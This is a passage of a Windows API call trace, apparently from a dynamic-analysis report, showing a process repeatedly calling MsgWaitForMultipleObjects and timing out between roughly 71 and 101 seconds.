MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0071.732] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0072.444] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0072.623] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0072.774] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0072.939] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0073.165] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0073.564] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0073.833] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0073.987] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0074.220] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0074.835] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0074.999] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0075.160] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0075.356] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0075.518] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0075.679] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0075.828] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0075.998] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0076.175] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0076.335] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0076.480] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0077.070] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0077.238] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0077.455] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0077.623] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0077.775] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0077.932] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0078.120] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0078.277] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0078.455] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0079.014] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0079.179] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0079.335] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0079.491] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0079.646] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0079.803] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0079.958] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0080.116] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0080.270] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0080.430] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0080.613] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0080.771] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0080.926] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0081.094] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0081.255] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0081.409] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0081.596] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0081.783] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0081.939] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0082.126] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0082.314] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0082.470] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0082.664] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0082.845] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0083.049] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0083.204] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0083.361] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0083.531] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0083.687] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0083.843] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0083.999] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0084.186] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0084.373] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0084.622] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0084.850] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0085.007] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0085.157] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0085.312] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0085.469] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0085.650] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0085.795] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0085.965] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0086.125] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0086.307] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0086.483] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0086.674] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0086.838] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0086.996] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0087.156] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0087.325] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0087.486] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0087.650] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0087.816] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0087.968] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0088.148] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0088.321] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0088.492] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0088.664] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0088.824] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0089.007] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0089.193] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0089.362] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0089.505] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0089.677] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0089.866] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0090.051] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0090.239] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0090.415] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0090.612] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0090.782] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0090.924] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0091.081] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0091.267] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0091.463] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0091.642] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0091.829] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0092.071] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0092.219] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0092.391] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0092.579] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0092.768] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0092.941] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0093.095] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0093.264] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0093.436] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0093.592] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0093.779] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0093.936] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0094.093] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0094.278] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0094.466] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0094.652] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0094.821] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0094.996] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0095.152] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0095.324] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0095.495] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0095.660] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0095.807] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0096.006] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0096.157] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0096.322] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0096.482] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0096.666] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0096.837] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0097.004] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0097.159] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0097.304] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0097.492] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0097.664] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0097.846] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0098.023] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0098.178] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0098.381] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0098.569] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0098.731] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0098.926] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0099.067] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0099.271] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0099.442] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0099.635] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0099.792] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0099.963] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0100.144] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0100.332] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0100.518] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0100.690] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0100.845] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0101.034] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0101.190] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0101.360] MsgWaitForMultipleObjects (nCount=0x2, 